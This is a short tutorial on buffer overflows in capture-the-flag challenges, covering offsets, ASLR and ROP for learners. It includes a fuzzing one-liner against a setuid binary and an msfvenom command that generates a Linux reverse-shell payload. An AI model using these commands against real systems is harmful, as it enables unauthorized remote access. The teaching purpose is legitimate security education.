Buffer overflows in CTFs

There’s some pre-requisite knowledge to understand what buffer overflows really are, but let’s make it short here.

When there’s no limit

Most of the time, Buffer overflow vulnerabilities occur because of coding mistakes. The application may fail to allocate buffers correctly. For example, many systems do not limit the amount of data that functions can read.

Buffers can be described as specific sections in memory that hold data temporarily. If the amount of data exceeds the buffer’ size (~ the storage capacity) and the app does not discard such overflow, it’s possible to exploit the situation.

Adjacent memory locations get corrupted (it has to go somewhere ^^), allowing an attacker to overwrite the data to crash the system and even execute arbitrary code.

These attacks may focus on specific parts of the memory (e.g., the heap, the stack).

Are the stack overflow attacks gone?

In the real-world, there are some efficient mitigations against stack overflow attacks. For example, ASLR (Address Space Layout Randomization) makes the attacker’s task much harder, as it randomizes memory, making it difficult to predict where the targeted vulnerable code will be located.

The “trial and error” strategy is no longer an option, as memory addresses change all the time. However, it’s not the ultimate defense, as there are bypasses for that too, and some teams even choose to opt out of this protection to fix persistent bugs.

An old new problem

The buffer overflow vulnerability is an old issue. Unlike C, modern programming languages have built-in features to address this problem and check bounds, but it’s only a mitigation.

Buffer overflows may still happen. That’s why some CTFs highlight the technique. It’s not uncommon to have some binary placed on the targeted machine to make the attack possible.

Buffers in CTFs

You can determine whether the system is vulnerable to nasty overflows with inputs like that:


N.B.: mybinary will likely be a setuid, an executable that has the file system permissions of a targeted user (it can be root).

If there’s a particular number of “A” that makes the buffer overflow (a.k.a the offset), it’s a win. Many tools can automate such tests (e.g., Metasploit), but you can also use Python to generate your strings quickly:

python3 -c 'print("A"*69)' | ./mybinary

Then, you may write a Python script that exploits the vulnerability and pass the output to the binary;

python3 exploit.py | ./mybinary

There are many possibilities, but I recommend using the pwn package in Python to ease the operation.

There are detailed examples available on Google for your inspiration.

What is ROP?

ROP (Return-Oriented Programming) consists of exploiting specific sequences of instructions in programs to invoke critical functions (e.g., system or exec in C) that can be used to get unauthorized access.

It’s often combined with buffer overflow attacks to pass malicious payloads and abuse memory.

There are many scripts available on Internet, but, as a general advice, if you don’t know what it does, don’t use it.

To help you find the right trustworthy resources, legitimate scripts will likely give instructions to generate a payload with msf-venom and include the result in the code before executing the attack:

msfvenom -p linux/x64/shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f py

It may also include lines to find what is called “ROP gadgets” and libraries such as gdb to determine the offset for the buffer overflow.

Wrap up

Buffer overflows are still possible despite the built-in mitigations in modern architectures and programming languages.

The exploitation is not trivial, though, and CTFs usually simplify the process dramatically by giving you various hints and a binary to attack.

See Also